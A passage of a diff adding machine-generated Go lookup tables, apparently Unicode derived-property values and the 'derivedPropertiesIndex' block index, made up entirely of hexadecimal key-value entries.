0x5a73: 0x0080, 0x5a74: 0x0080, 0x5a75: 0x0080, + 0x5a76: 0x0080, 0x5a77: 0x0080, 0x5a78: 0x0080, 0x5a79: 0x0080, + // Block 0x16a, offset 0x5a80 + 0x5a80: 0x00cc, 0x5a81: 0x00cc, 0x5a82: 0x00cc, 0x5a83: 0x00cc, 0x5a84: 0x00cc, 0x5a85: 0x00cc, + 0x5a86: 0x00cc, 0x5a87: 0x00cc, 0x5a88: 0x00cc, 0x5a89: 0x00cc, 0x5a8a: 0x00cc, 0x5a8b: 0x00cc, + 0x5a8c: 0x00cc, 0x5a8d: 0x00cc, 0x5a8e: 0x00cc, 0x5a8f: 0x00cc, 0x5a90: 0x00cc, 0x5a91: 0x00cc, + 0x5a92: 0x00cc, 0x5a93: 0x00cc, 0x5a94: 0x00cc, 0x5a95: 0x00cc, 0x5a96: 0x00cc, 0x5a97: 0x00cc, + 0x5a98: 0x00cc, 0x5a99: 0x00cc, 0x5a9a: 0x00cc, 0x5a9b: 0x00cc, 0x5a9c: 0x00cc, 0x5a9d: 0x00cc, + 0x5a9e: 0x00cc, 0x5a9f: 0x00cc, + // Block 0x16b, offset 0x5ac0 + 0x5ac0: 0x00cc, 0x5ac1: 0x00cc, 0x5ac2: 0x00cc, 0x5ac3: 0x00cc, 0x5ac4: 0x00cc, 0x5ac5: 0x00cc, + 0x5ac6: 0x00cc, 0x5ac7: 0x00cc, 0x5ac8: 0x00cc, 0x5ac9: 0x00cc, 0x5aca: 0x00cc, 0x5acb: 0x00cc, + 0x5acc: 0x00cc, 0x5acd: 0x00cc, 0x5ace: 0x00cc, 0x5acf: 0x00cc, 0x5ad0: 0x00cc, 0x5ad1: 0x00cc, + 0x5ad2: 0x00cc, 0x5ad3: 0x00cc, 0x5ad4: 0x00cc, 0x5ad5: 0x00cc, 0x5ad6: 0x00cc, 0x5ad7: 0x00cc, + 0x5ad8: 0x00cc, 0x5ad9: 0x00cc, 0x5ada: 0x00cc, 0x5adb: 0x00cc, 0x5adc: 0x00cc, 0x5add: 0x00cc, + 0x5ade: 0x00cc, 0x5adf: 0x00cc, 0x5ae0: 0x00cc, 0x5ae1: 0x00cc, 0x5ae2: 0x00cc, 0x5ae3: 0x00cc, + 0x5ae4: 0x00cc, 0x5ae5: 0x00cc, 0x5ae6: 0x00cc, 0x5ae7: 0x00cc, 0x5ae8: 0x00cc, 0x5ae9: 0x00cc, + 0x5aea: 0x00cc, 0x5aeb: 0x00cc, 0x5aec: 0x00cc, 0x5aed: 0x00cc, 0x5aee: 0x00cc, 0x5aef: 0x00cc, + 0x5af0: 0x00cc, 0x5af1: 0x00cc, 0x5af2: 0x00cc, 0x5af3: 0x00cc, 0x5af4: 0x00cc, 0x5af5: 0x00cc, + 0x5af6: 0x00cc, 0x5af7: 0x00cc, 0x5af8: 0x00cc, 0x5af9: 0x00cc, + // Block 0x16c, offset 0x5b00 + 0x5b00: 0x00cc, 0x5b01: 0x00cc, 0x5b02: 0x00cc, 0x5b03: 0x00cc, 0x5b04: 0x00cc, 0x5b05: 0x00cc, + 0x5b06: 0x00cc, 0x5b07: 0x00cc, 0x5b08: 0x00cc, 0x5b09: 0x00cc, 0x5b0a: 0x00cc, 0x5b0b: 0x00cc, + 0x5b0c: 0x00cc, 0x5b0d: 0x00cc, 0x5b0e: 0x00cc, 0x5b0f: 0x00cc, 0x5b10: 0x00cc, 0x5b11: 0x00cc, + 0x5b12: 0x00cc, 0x5b13: 0x00cc, 0x5b14: 0x00cc, 0x5b15: 0x00cc, 0x5b16: 0x00cc, 0x5b17: 0x00cc, + 0x5b18: 0x00cc, 0x5b19: 0x00cc, 0x5b1a: 0x00cc, 0x5b1b: 0x00cc, 0x5b1c: 0x00cc, 0x5b1d: 0x00cc, + 0x5b20: 0x00cc, 0x5b21: 0x00cc, 0x5b22: 0x00cc, 0x5b23: 0x00cc, + 0x5b24: 0x00cc, 0x5b25: 0x00cc, 0x5b26: 0x00cc, 0x5b27: 0x00cc, 0x5b28: 0x00cc, 0x5b29: 0x00cc, + 0x5b2a: 0x00cc, 0x5b2b: 0x00cc, 0x5b2c: 0x00cc, 0x5b2d: 0x00cc, 0x5b2e: 0x00cc, 0x5b2f: 0x00cc, + 0x5b30: 0x00cc, 0x5b31: 0x00cc, 0x5b32: 0x00cc, 0x5b33: 0x00cc, 0x5b34: 0x00cc, 0x5b35: 0x00cc, + 0x5b36: 0x00cc, 0x5b37: 0x00cc, 0x5b38: 0x00cc, 0x5b39: 0x00cc, 0x5b3a: 0x00cc, 0x5b3b: 0x00cc, + 0x5b3c: 0x00cc, 0x5b3d: 0x00cc, 0x5b3e: 0x00cc, 0x5b3f: 0x00cc, + // Block 0x16d, offset 0x5b40 + 0x5b40: 0x00cc, 0x5b41: 0x00cc, 0x5b42: 0x00cc, 0x5b43: 0x00cc, 0x5b44: 0x00cc, 0x5b45: 0x00cc, + 0x5b46: 0x00cc, 0x5b47: 0x00cc, 0x5b48: 0x00cc, 0x5b49: 0x00cc, 0x5b4a: 0x00cc, 0x5b4b: 0x00cc, + 0x5b4c: 0x00cc, 0x5b4d: 0x00cc, 0x5b4e: 0x00cc, 0x5b4f: 0x00cc, 0x5b50: 0x00cc, 0x5b51: 0x00cc, + 0x5b52: 0x00cc, 0x5b53: 0x00cc, 0x5b54: 0x00cc, 0x5b55: 0x00cc, 0x5b56: 0x00cc, 0x5b57: 0x00cc, + 0x5b58: 0x00cc, 0x5b59: 0x00cc, 0x5b5a: 0x00cc, 0x5b5b: 0x00cc, 0x5b5c: 0x00cc, 0x5b5d: 0x00cc, + 0x5b5e: 0x00cc, 0x5b5f: 0x00cc, 0x5b60: 0x00cc, 0x5b61: 0x00cc, + 0x5b70: 0x00cc, 0x5b71: 0x00cc, 0x5b72: 0x00cc, 0x5b73: 0x00cc, 0x5b74: 0x00cc, 0x5b75: 0x00cc, + 0x5b76: 0x00cc, 0x5b77: 0x00cc, 0x5b78: 0x00cc, 0x5b79: 0x00cc, 0x5b7a: 0x00cc, 0x5b7b: 0x00cc, + 0x5b7c: 0x00cc, 0x5b7d: 0x00cc, 0x5b7e: 0x00cc, 0x5b7f: 0x00cc, + // Block 0x16e, offset 0x5b80 + 0x5b80: 0x00cc, 0x5b81: 0x00cc, 0x5b82: 0x00cc, 0x5b83: 0x00cc, 0x5b84: 0x00cc, 0x5b85: 0x00cc, + 0x5b86: 0x00cc, 0x5b87: 0x00cc, 0x5b88: 0x00cc, 0x5b89: 0x00cc, 0x5b8a: 0x00cc, 0x5b8b: 0x00cc, + 0x5b8c: 0x00cc, 0x5b8d: 0x00cc, 0x5b8e: 0x00cc, 0x5b8f: 0x00cc, 0x5b90: 0x00cc, 0x5b91: 0x00cc, + 0x5b92: 0x00cc, 0x5b93: 0x00cc, 0x5b94: 0x00cc, 0x5b95: 0x00cc, 0x5b96: 0x00cc, 0x5b97: 0x00cc, + 0x5b98: 0x00cc, 0x5b99: 0x00cc, 0x5b9a: 0x00cc, 0x5b9b: 0x00cc, 0x5b9c: 0x00cc, 0x5b9d: 0x00cc, + 0x5b9e: 0x00cc, 0x5b9f: 0x00cc, 0x5ba0: 0x00cc, + // Block 0x16f, offset 0x5bc0 + 0x5bc0: 0x008c, 0x5bc1: 0x008c, 0x5bc2: 0x008c, 0x5bc3: 0x008c, 0x5bc4: 0x008c, 0x5bc5: 0x008c, + 0x5bc6: 0x008c, 0x5bc7: 0x008c, 0x5bc8: 0x008c, 0x5bc9: 0x008c, 0x5bca: 0x008c, 0x5bcb: 0x008c, + 0x5bcc: 0x008c, 0x5bcd: 0x008c, 0x5bce: 0x008c, 0x5bcf: 0x008c, 0x5bd0: 0x008c, 0x5bd1: 0x008c, + 0x5bd2: 0x008c, 0x5bd3: 0x008c, 0x5bd4: 0x008c, 0x5bd5: 0x008c, 0x5bd6: 0x008c, 0x5bd7: 0x008c, + 0x5bd8: 0x008c, 0x5bd9: 0x008c, 0x5bda: 0x008c, 0x5bdb: 0x008c, 0x5bdc: 0x008c, 0x5bdd: 0x008c, + // Block 0x170, offset 0x5c00 + 0x5c00: 0x00cc, 0x5c01: 0x00cc, 0x5c02: 0x00cc, 0x5c03: 0x00cc, 0x5c04: 0x00cc, 0x5c05: 0x00cc, + 0x5c06: 0x00cc, 0x5c07: 0x00cc, 0x5c08: 0x00cc, 0x5c09: 0x00cc, 0x5c0a: 0x00cc, + 0x5c10: 0x00cc, 0x5c11: 0x00cc, + 0x5c12: 0x00cc, 0x5c13: 0x00cc, 0x5c14: 0x00cc, 0x5c15: 0x00cc, 0x5c16: 0x00cc, 0x5c17: 0x00cc, + 0x5c18: 0x00cc, 0x5c19: 0x00cc, 0x5c1a: 0x00cc, 0x5c1b: 0x00cc, 0x5c1c: 0x00cc, 0x5c1d: 0x00cc, + 0x5c1e: 0x00cc, 0x5c1f: 0x00cc, 0x5c20: 0x00cc, 0x5c21: 0x00cc, 0x5c22: 0x00cc, 0x5c23: 0x00cc, + 0x5c24: 0x00cc, 0x5c25: 0x00cc, 0x5c26: 0x00cc, 0x5c27: 0x00cc, 0x5c28: 0x00cc, 0x5c29: 0x00cc, + 0x5c2a: 0x00cc, 0x5c2b: 0x00cc, 0x5c2c: 0x00cc, 0x5c2d: 0x00cc, 0x5c2e: 0x00cc, 0x5c2f: 0x00cc, + 0x5c30: 0x00cc, 0x5c31: 0x00cc, 0x5c32: 0x00cc, 0x5c33: 0x00cc, 0x5c34: 0x00cc, 0x5c35: 0x00cc, + 0x5c36: 0x00cc, 0x5c37: 0x00cc, 0x5c38: 0x00cc, 0x5c39: 0x00cc, 0x5c3a: 0x00cc, 0x5c3b: 0x00cc, + 0x5c3c: 0x00cc, 0x5c3d: 0x00cc, 0x5c3e: 0x00cc, 0x5c3f: 0x00cc, + // Block 0x171, offset 0x5c40 + 0x5c40: 0x00cc, 0x5c41: 0x00cc, 0x5c42: 0x00cc, 0x5c43: 0x00cc, 0x5c44: 0x00cc, 0x5c45: 0x00cc, + 0x5c46: 0x00cc, 0x5c47: 0x00cc, 0x5c48: 0x00cc, 0x5c49: 0x00cc, 0x5c4a: 0x00cc, 0x5c4b: 0x00cc, + 0x5c4c: 0x00cc, 0x5c4d: 0x00cc, 0x5c4e: 0x00cc, 0x5c4f: 0x00cc, 0x5c50: 0x00cc, 0x5c51: 0x00cc, + 0x5c52: 0x00cc, 0x5c53: 0x00cc, 0x5c54: 0x00cc, 0x5c55: 0x00cc, 0x5c56: 0x00cc, 0x5c57: 0x00cc, + 0x5c58: 0x00cc, 0x5c59: 0x00cc, 0x5c5a: 0x00cc, 0x5c5b: 0x00cc, 0x5c5c: 0x00cc, 0x5c5d: 0x00cc, + 0x5c5e: 0x00cc, 0x5c5f: 0x00cc, 0x5c60: 0x00cc, 0x5c61: 0x00cc, 0x5c62: 0x00cc, 0x5c63: 0x00cc, + 0x5c64: 0x00cc, 0x5c65: 0x00cc, 0x5c66: 0x00cc, 0x5c67: 0x00cc, 0x5c68: 0x00cc, 0x5c69: 0x00cc, + 0x5c6a: 0x00cc, 0x5c6b: 0x00cc, 0x5c6c: 0x00cc, 0x5c6d: 0x00cc, 0x5c6e: 0x00cc, 0x5c6f: 0x00cc, + // Block 0x172, offset 0x5c80 + 0x5c81: 0x0040, + 0x5ca0: 0x0040, 0x5ca1: 0x0040, 0x5ca2: 0x0040, 0x5ca3: 0x0040, + 0x5ca4: 0x0040, 0x5ca5: 0x0040, 0x5ca6: 0x0040, 0x5ca7: 0x0040, 0x5ca8: 0x0040, 0x5ca9: 0x0040, + 0x5caa: 0x0040, 0x5cab: 0x0040, 0x5cac: 0x0040, 0x5cad: 0x0040, 0x5cae: 0x0040, 0x5caf: 0x0040, + 0x5cb0: 0x0040, 0x5cb1: 0x0040, 0x5cb2: 0x0040, 0x5cb3: 0x0040, 0x5cb4: 0x0040, 0x5cb5: 0x0040, + 0x5cb6: 0x0040, 0x5cb7: 0x0040, 0x5cb8: 0x0040, 0x5cb9: 0x0040, 0x5cba: 0x0040, 0x5cbb: 0x0040, + 0x5cbc: 0x0040, 0x5cbd: 0x0040, 0x5cbe: 0x0040, 0x5cbf: 0x0040, + // Block 0x173, offset 0x5cc0 + 0x5cc0: 0x0040, 0x5cc1: 0x0040, 0x5cc2: 0x0040, 0x5cc3: 0x0040, 0x5cc4: 0x0040, 0x5cc5: 0x0040, + 0x5cc6: 0x0040, 0x5cc7: 0x0040, 0x5cc8: 0x0040, 0x5cc9: 0x0040, 0x5cca: 0x0040, 0x5ccb: 0x0040, + 0x5ccc: 0x0040, 0x5ccd: 0x0040, 0x5cce: 0x0040, 0x5ccf: 0x0040, 0x5cd0: 0x0040, 0x5cd1: 0x0040, + 0x5cd2: 0x0040, 0x5cd3: 0x0040, 0x5cd4: 0x0040, 0x5cd5: 0x0040, 0x5cd6: 0x0040, 0x5cd7: 0x0040, + 0x5cd8: 0x0040, 0x5cd9: 0x0040, 0x5cda: 0x0040, 0x5cdb: 0x0040, 0x5cdc: 0x0040, 0x5cdd: 0x0040, + 0x5cde: 0x0040, 0x5cdf: 0x0040, 0x5ce0: 0x0040, 0x5ce1: 0x0040, 0x5ce2: 0x0040, 0x5ce3: 0x0040, + 0x5ce4: 0x0040, 0x5ce5: 0x0040, 0x5ce6: 0x0040, 0x5ce7: 0x0040, 0x5ce8: 0x0040, 0x5ce9: 0x0040, + 0x5cea: 0x0040, 0x5ceb: 0x0040, 0x5cec: 0x0040, 0x5ced: 0x0040, 0x5cee: 0x0040, 0x5cef: 0x0040, + // Block 0x174, offset 0x5d00 + 0x5d00: 0x0040, 0x5d01: 0x0040, 0x5d02: 0x0040, 0x5d03: 0x0040, 0x5d04: 0x0040, 0x5d05: 0x0040, + 0x5d06: 0x0040, 0x5d07: 0x0040, 0x5d08: 0x0040, 0x5d09: 0x0040, 0x5d0a: 0x0040, 0x5d0b: 0x0040, + 0x5d0c: 0x0040, 0x5d0d: 0x0040, 0x5d0e: 0x0040, 0x5d0f: 0x0040, 0x5d10: 0x0040, 0x5d11: 0x0040, + 0x5d12: 0x0040, 0x5d13: 0x0040, 0x5d14: 0x0040, 0x5d15: 0x0040, 0x5d16: 0x0040, 0x5d17: 0x0040, + 0x5d18: 0x0040, 0x5d19: 0x0040, 0x5d1a: 0x0040, 0x5d1b: 0x0040, 0x5d1c: 0x0040, 0x5d1d: 0x0040, + 0x5d1e: 0x0040, 0x5d1f: 0x0040, 0x5d20: 0x0040, 0x5d21: 0x0040, 0x5d22: 0x0040, 0x5d23: 0x0040, + 0x5d24: 0x0040, 0x5d25: 0x0040, 0x5d26: 0x0040, 0x5d27: 0x0040, 0x5d28: 0x0040, 0x5d29: 0x0040, + 0x5d2a: 0x0040, 0x5d2b: 0x0040, 0x5d2c: 0x0040, 0x5d2d: 0x0040, 0x5d2e: 0x0040, 0x5d2f: 0x0040, + 0x5d30: 0x0040, 0x5d31: 0x0040, 0x5d32: 0x0040, 0x5d33: 0x0040, 0x5d34: 0x0040, 0x5d35: 0x0040, + 0x5d36: 0x0040, 0x5d37: 0x0040, 0x5d38: 0x0040, 0x5d39: 0x0040, 0x5d3a: 0x0040, 0x5d3b: 0x0040, + 0x5d3c: 0x0040, 0x5d3d: 0x0040, +} + +// derivedPropertiesIndex: 40 blocks, 2560 entries, 5120 bytes +// Block 0 is the zero block. +var derivedPropertiesIndex = [2560]uint16{ + // Block 0x0, offset 0x0 + // Block 0x1, offset 0x40 + // Block 0x2, offset 0x80 + // Block 0x3, offset 0xc0 + 0xc2: 0x01, 0xc3: 0x02, 0xc4: 0x03, 0xc5: 0x04, 0xc6: 0x05, 0xc7: 0x06, + 0xc8: 0x05, 0xc9: 0x05, 0xca: 0x07, 0xcb: 0x08, 0xcc: 0x09, 0xcd: 0x0a, 0xce: 0x0b, 0xcf: 0x0c, + 0xd0: 0x05, 0xd1: 0x05, 0xd2: 0x0d, 0xd3: 0x05, 0xd4: 0x0e, 0xd5: 0x0f, 0xd6: 0x10, 0xd7: 0x11, + 0xd8: 0x12, 0xd9: 0x13, 0xda: 0x14, 0xdb: 0x15, 0xdc: 0x16, 0xdd: 0x17, 0xde: 0x18, 0xdf: 0x19, + 0xe0: 0x02, 0xe1: 0x03, 0xe2: 0x04, 0xe3: 0x05, 0xe4: 0x06, 0xe5: 0x07, 0xe6: 0x07, 0xe7: 0x07, + 0xe8: 0x07, 0xe9: 0x07, 0xea: 0x08, 0xeb: 0x09, 0xec: 0x09, 0xed: 0x0a, 0xee: 0x0b, 0xef: 0x0c, + 0xf0: 0x21, 0xf3: 0x24, 0xf4: 0x25, + // Block 0x4, offset 0x100 + 0x120: 0x1a, 0x121: 0x1b, 0x122: 0x1c, 0x123: 0x1d, 0x124: 0x1e, 0x125: 0x1f, 0x126: 0x20, 0x127: 0x21, + 0x128: 0x22, 0x129: 0x23, 0x12a: 0x24, 0x12b: 0x25, 0x12c: 0x26, 0x12d: 0x27, 0x12e: 0x28, 0x12f: 0x29, + 0x130: 0x2a, 0x131: 0x2b, 0x132: 0x2c, 0x133: 0x2d, 0x134: 0x2e, 0x135: 0x2f, 0x136: 0x30, 0x137: 0x31, + 0x138: 0x32, 0x139: 0x33, 0x13a: 0x34, 0x13b: 0x35, 0x13c: 0x36, 0x13d: 0x37, 0x13e: 0x38, 0x13f: 0x39, + // Block 0x5, offset 0x140 + 0x140: 0x3a, 0x141: 0x3b, 0x142: 0x3c, 0x143: 0x3d, 0x144: 0x3e, 0x145: 0x3e, 0x146: 0x3e, 0x147: 0x3e, + 0x148: 0x05, 0x149: 0x3f, 0x14a: 0x40, 0x14b: 0x41, 0x14c: 0x42, 0x14d: 0x43, 0x14e: 0x44, 0x14f: 0x45, + 0x150: 0x46, 0x151: 0x05, 0x152: 0x05, 0x153: 0x05, 0x154: 0x05, 0x155: 0x05, 0x156: 0x05, 0x157: 0x05, + 0x158: 0x05, 0x159: 0x47, 0x15a: 0x48, 0x15b: 0x49, 0x15c: 0x4a, 0x15d: 0x4b, 0x15e: 0x4c, 0x15f: 0x4d, + 0x160: 0x4e, 0x161: 0x4f, 0x162: 0x50, 0x163: 0x51, 0x164: 0x52, 0x165: 0x53, 0x166: 0x54, 0x167: 0x55, + 0x168: 0x56, 0x169: 0x57, 0x16a: 0x58, 0x16b: 0x59, 0x16c: 0x5a, 0x16d: 0x5b, 0x16e: 0x5c, 0x16f: 0x5d, + 0x170: 0x5e, 0x171: 0x5f, 0x172: 0x60, 0x173: 0x61, 0x174: 0x62, 0x175: 0x63, 0x176: 0x64, 0x177: 0x09, + 0x178: 0x05, 0x179: 0x05, 0x17a: 0x65, 0x17b: 0x05, 0x17c: 0x66, 0x17d: 0x67, 0x17e: 0x68, 0x17f: 0x69, + // Block 0x6, offset 0x180 + 0x180: 0x6a, 0x181: 0x6b, 0x182: 0x6c, 0x183: 0x6d, 0x184: 0x6e, 0x185: 0x6f, 0x186: 0x70, 0x187: 0x71, + 0x188: 0x71, 0x189: 0x71, 0x18a: 0x71, 0x18b: 0x71, 0x18c: 0x71, 0x18d: 0x71, 0x18e: 0x71, 0x18f: 0x71, + 0x190: 0x72, 0x191: 0x73, 0x192: 0x71, 0x193: 0x71, 0x194: 0x71, 0x195: 0x71, 0x196: 0x71, 0x197: 0x71, + 0x198: 0x71, 0x199: 0x71, 0x19a: 0x71, 0x19b: 0x71, 0x19c: 0x71, 0x19d: 0x71, 0x19e: 0x71, 0x19f: 0x71, + 0x1a0: 0x71, 0x1a1: 0x71, 0x1a2: 0x71, 0x1a3: 0x71, 0x1a4: 0x71, 0x1a5: 0x71, 0x1a6: 0x71, 0x1a7: 0x71, + 0x1a8: 0x71, 0x1a9: 0x71, 0x1aa: 0x71, 0x1ab: 0x71, 0x1ac: 0x71, 0x1ad: 0x74, 0x1ae: 0x75, 0x1af: 0x71, + 0x1b0: 0x05, 0x1b1: 0x76, 0x1b2: 0x05, 0x1b3: 0x77, 0x1b4: 0x78, 0x1b5: 0x79, 0x1b6: 0x7a, 0x1b7: 0x7b, + 0x1b8: 0x7c, 0x1b9: 0x7d, 0x1ba: 0x7e, 0x1bb: 0x7f, 0x1bc: 0x80, 0x1bd: 0x80, 0x1be: 0x80, 0x1bf: 0x81, + // Block 0x7, offset 0x1c0 + 0x1c0: 0x82, 0x1c1: 0x83, 0x1c2: 0x84, 0x1c3: 0x85, 0x1c4: 0x86, 0x1c5: 0x87, 0x1c6: 0x88, 0x1c7: 0x89, + 0x1c8: 0x8a, 0x1c9: 0x71, 0x1ca: 0x71, 0x1cb: 0x8b, 0x1cc: 0x80, 0x1cd: 0x8c, 0x1ce: 0x71, 0x1cf: 0x71, + 0x1d0: 0x8d, 0x1d1: 0x8d, 0x1d2: 0x8d, 0x1d3: 0x8d, 0x1d4: 0x8d, 0x1d5: 0x8d, 0x1d6: 0x8d, 0x1d7: 0x8d, + 0x1d8: 0x8d, 0x1d9: 0x8d, 0x1da: 0x8d, 0x1db: 0x8d, 0x1dc: 0x8d, 0x1dd: 0x8d, 0x1de: 0x8d, 0x1df: 0x8d, + 0x1e0: 0x8d, 0x1e1: 0x8d, 0x1e2: 0x8d, 0x1e3: 0x8d, 0x1e4: 0x8d, 0x1e5: 0x8d, 0x1e6: 0x8d, 0x1e7: 0x8d, + 0x1e8: 0x8d, 0x1e9: 0x8d, 0x1ea: 0x8d, 0x1eb: 0x8d, 0x1ec: 0x8d, 0x1ed: 0x8d, 0x1ee: 0x8d, 0x1ef: 0x8d, + 0x1f0: 0x8d, 0x1f1: 0x8d, 0x1f2: 0x8d, 0x1f3: 0x8d, 0x1f4: 0x8d, 0x1f5: 0x8d, 0x1f6: 0x8d, 0x1f7: 0x8d, + 0x1f8: 0x8d, 0x1f9: 0x8d, 0x1fa: 0x8d, 0x1fb: 0x8d, 0x1fc: 0x8d, 0x1fd: 0x8d, 0x1fe: 0x8d, 0x1ff: 0x8d, + // Block 0x8, offset 0x200 + 0x200: 0x8d, 0x201: 0x8d, 0x202: 0x8d, 0x203: 0x8d, 0x204: 0x8d, 0x205: 0x8d, 0x206: 0x8d, 0x207: 0x8d, + 0x208: 0x8d, 0x209: 0x8d, 0x20a: 0x8d, 0x20b: 0x8d, 0x20c: 0x8d, 0x20d: 0x8d, 0x20e: 0x8d, 0x20f: 0x8d, + 0x210: 0x8d, 0x211: 0x8d, 0x212: 0x8d, 0x213: 0x8d, 0x214: 0x8d, 0x215: 0x8d, 0x216: 0x8d, 0x217: 0x8d, + 0x218: 0x8d, 0x219: 0x8d, 0x21a: 0x8d, 0x21b: 0x8d, 0x21c: 0x8d, 0x21d: 0x8d, 0x21e: 0x8d, 0x21f: 0x8d, + 0x220: 0x8d, 0x221: 0x8d, 0x222: 0x8d, 0x223: 0x8d, 0x224: 0x8d, 0x225: 0x8d, 0x226: 0x8d, 0x227: 0x8d, + 0x228: 0x8d, 0x229: 0x8d, 0x22a: 0x8d, 0x22b: 0x8d, 0x22c: 0x8d, 0x22d: 0x8d, 0x22e: 0x8d, 0x22f: 0x8d, + 0x230: 0x8d, 0x231: 0x8d, 0x232: 0x8d, 0x233: 0x8d, 0x234: 0x8d, 0x235: 0x8d, 0x236: 0x8d, 0x237: 0x71, + 0x238: 0x8d, 0x239: 0x8d, 0x23a: 0x8d, 0x23b: 0x8d, 0x23c: 0x8d, 0x23d: 0x8d, 0x23e: 0x8d, 0x23f: 0x8d, + // Block 0x9, offset 0x240 + 0x240: 0x8d, 0x241: 0x8d, 0x242: 0x8d, 0x243: 0x8d, 0x244: 0x8d, 0x245: 0x8d, 0x246: 0x8d, 0x247: 0x8d, + 0x248: 0x8d, 0x249: 0x8d, 0x24a: 0x8d, 0x24b: 0x8d, 0x24c: 0x8d, 0x24d: 0x8d, 0x24e: 0x8d, 0x24f: 0x8d, + 0x250: 0x8d, 0x251: 0x8d, 0x252: 0x8d, 0x253: 0x8d, 0x254: 0x8d, 0x255: 0x8d, 0x256: 0x8d, 0x257: 0x8d, + 0x258: 0x8d, 0x259: 0x8d, 0x25a: 0x8d, 0x25b: 0x8d, 0x25c: 0x8d, 0x25d: 0x8d, 0x25e: 0x8d, 0x25f: 0x8d, + 0x260: 0x8d, 0x261: 0x8d, 0x262: 0x8d, 0x263: 0x8d, 0x264: 0x8d, 0x265: 0x8d, 0x266: 0x8d, 0x267: 0x8d, + 0x268: 0x8d, 0x269: 0x8d, 0x26a: 0x8d, 0x26b: 0x8d, 0x26c: 0x8d, 0x26d: 0x8d, 0x26e: 0x8d, 0x26f: 0x8d, + 0x270: 0x8d, 0x271: 0x8d, 0x272: 0x8d, 0x273: 0x8d, 0x274: 0x8d, 0x275: 0x8d, 0x276: 0x8d, 0x277: 0x8d, + 0x278: 0x8d, 0x279: 0x8d, 0x27a: 0x8d, 0x27b: 0x8d, 0x27c: 0x8d, 0x27d: 0x8d, 0x27e: 0x8d, 0x27f: 0x8d, + // Block 0xa, offset 0x280 + 0x280: 0x05, 0x281: 0x05, 0x282: 0x05, 0x283: 0x05, 0x284: 0x05, 0x285: 0x05, 0x286: 0x05, 0x287: 0x05, + 0x288: 0x05, 0x289: 0x05, 0x28a: 0x05, 0x28b: 0x05, 0x28c: 0x05, 0x28d: 0x05, 0x28e: 0x05, 0x28f: 0x05, + 0x290: 0x05, 0x291: 0x05, 0x292: 0x8e, 0x293: 0x8f, 0x294: 0x05, 0x295: 0x05, 0x296: 0x05, 0x297: 0x05, + 0x298: 0x90, 0x299: 0x91, 0x29a: 0x92, 0x29b: 0x93, 0x29c: 0x94, 0x29d: 0x95, 0x29e: 0x96, 0x29f: 0x97, + 0x2a0: 0x98, 0x2a1: 0x99, 0x2a2: 0x05, 0x2a3: 0x9a, 0x2a4: 0x9b, 0x2a5: 0x9c, 0x2a6: 0x9d, 0x2a7: 0x9e, + 0x2a8: 0x9f, 0x2a9: 0xa0, 0x2aa: 0xa1, 0x2ab: 0xa2, 0x2ac: 0xa3, 0x2ad: 0xa4, 0x2ae: 0x05, 0x2af: 0xa5, + 0x2b0: 0x05, 0x2b1: 0x05, 0x2b2: 0x05, 0x2b3: 0x05, 0x2b4: 0x05, 0x2b5: 0x05, 0x2b6: 0x05, 0x2b7: 0x05, + 0x2b8: 0x05, 0x2b9: 0x05, 0x2ba: 0x05, 0x2bb: 0x05, 0x2bc: 0x05, 0x2bd: 0x05, 0x2be: 0x05, 0x2bf: 0x05, + // Block 0xb, offset 0x2c0 + 0x2c0: 0x05, 0x2c1: 0x05, 0x2c2: 0x05, 0x2c3: 0x05, 0x2c4: 0x05, 0x2c5: 0x05, 0x2c6: 0x05, 0x2c7: 0x05, + 0x2c8: 0x05, 0x2c9: 0x05, 0x2ca: 0x05, 0x2cb: 0x05, 0x2cc: 0x05, 0x2cd: 0x05, 0x2ce: 0x05, 0x2cf: 0x05, + 0x2d0: 0x05, 0x2d1: 0x05, 0x2d2: 0x05, 0x2d3: 0x05, 0x2d4: 0x05, 0x2d5: 0x05, 0x2d6: 0x05, 0x2d7: 0x05, + 0x2d8: 0x05, 0x2d9: 0x05, 0x2da: 0x05, 0x2db: 0x05, 0x2dc: 0x05, 0x2dd: 0x05, 0x2de: 0x05, 0x2df: 0x05, + 0x2e0: 0x05, 0x2e1: 0x05, 0x2e2: 0x05, 0x2e3: 0x05, 0x2e4: 0x05, 0x2e5: 0x05, 0x2e6: 0x05, 0x2e7: 0x05, + 0x2e8: 0x05, 0x2e9: 0x05, 0x2ea: 0x05, 0x2eb: 0x05, 0x2ec: 0x05, 0x2ed: 0x05, 0x2ee: 0x05, 0x2ef: 0x05, + 0x2f0: 0x05, 0x2f1: 0x05, 0x2f2: 0x05, 0x2f3: 0x05, 0x2f4: 0x05, 0x2f5: 0x05, 0x2f6: 0x05, 0x2f7: 0x05, + 0x2f8: 0x05, 0x2f9: 0x05, 0x2fa: 0x05, 0x2fb: 0x05, 0x2fc: 0x05, 0x2fd: 0x05, 0x2fe: 0x05, 0x2ff: 0x05, + // Block 0xc, offset 0x300 + 0x300: 0x05, 0x301: 0x05, 0x302: 0x05, 0x303: 0x05, 0x304: 0x05, 0x305: 0x05, 0x306: 0x05, 0x307: 0x05, + 0x308: 0x05, 0x309: 0x05, 0x30a: 0x05, 0x30b: 0x05, 0x30c: 0x05, 0x30d: 0x05, 0x30e: 0x05, 0x30f: 0x05, + 0x310: 0x05, 0x311: 0x05, 0x312: 0x05, 0x313: 0x05, 0x314: 0x05, 0x315: 0x05, 0x316: 0x05, 0x317: 0x05, + 0x318: 0x05, 0x319: 0x05, 0x31a: 0x05, 0x31b: 0x05, 0x31c: 0x05, 0x31d: 0x05, 0x31e: 0xa6, 0x31f: 0xa7, + // Block 0xd, offset 0x340 + 0x340: 0x3e, 0x341: 0x3e, 0x342: 0x3e, 0x343: 0x3e, 0x344: 0x3e, 0x345: 0x3e, 0x346: 0x3e, 0x347: 0x3e, + 0x348: 0x3e, 0x349: 0x3e, 0x34a: 0x3e, 0x34b: 0x3e, 0x34c: 0x3e, 0x34d: 0x3e, 0x34e: 0x3e, 0x34f: 0x3e, + 0x350: 0x3e, 0x351: 0x3e, 0x352: 0x3e, 0x353: 0x3e, 0x354: 0x3e, 0x355: 0x3e, 0x356: 0x3e, 0x357: 0x3e, + 0x358: 0x3e, 0x359: 0x3e, 0x35a: 0x3e, 0x35b: 0x3e, 0x35c: 0x3e, 0x35d: 0x3e, 0x35e: 0x3e, 0x35f: 0x3e, + 0x360: 0x3e, 0x361: 0x3e, 0x362: 0x3e, 0x363: 0x3e, 0x364: 0x3e, 0x365: 0x3e, 0x366: 0x3e, 0x367: 0x3e, + 0x368: 0x3e, 0x369: 0x3e, 0x36a: 0x3e, 0x36b: 0x3e, 0x36c: 0x3e, 0x36d: 0x3e, 0x36e: 0x3e, 0x36f: 0x3e, + 0x370: 